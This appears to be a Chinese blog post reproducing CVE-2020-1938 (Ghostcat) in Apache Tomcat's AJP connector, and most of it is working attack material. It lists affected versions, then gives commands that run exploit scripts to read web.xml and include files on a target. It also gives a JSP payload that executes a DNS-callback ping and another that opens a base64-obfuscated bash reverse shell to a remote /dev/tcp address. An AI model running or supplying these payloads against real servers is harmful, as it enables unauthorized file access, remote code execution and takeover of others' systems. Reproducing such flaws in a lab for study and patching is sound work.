Tomcat文件包含及读取漏洞(CVE-2020-1938漏洞复现)

0x01 漏洞影响

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

0x02 前提

  • 目标机器开启AJP Connector 服务端口(默认开启,为8009端口)

0x03 文件读取&文件包含RCE

  • 文件读取
1
py -2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 192.168.52.130

Tomcat文件包含及读取漏洞(CVE-2020-1938漏洞复现)

  • 文件包含
1
py -2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /test.txt 192.168.52.130

Tomcat文件包含及读取漏洞(CVE-2020-1938漏洞复现)

  • test.txt
1
2
3
4
5
6
7
8
9
10
<%
java.io.InputStream in = Runtime.getRuntime().exec("ping mdd7e.dnslog.cn").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

0x04 反弹shell

  • shell.txt
1
2
3
4
5
6
7
8
9
10
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjE0My84OTg5IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

Tomcat文件包含及读取漏洞(CVE-2020-1938漏洞复现)

0x05 参考链接

http://www.svenbeast.com/post/fqSI9laE8/

-------------本文结束感谢您的阅读-------------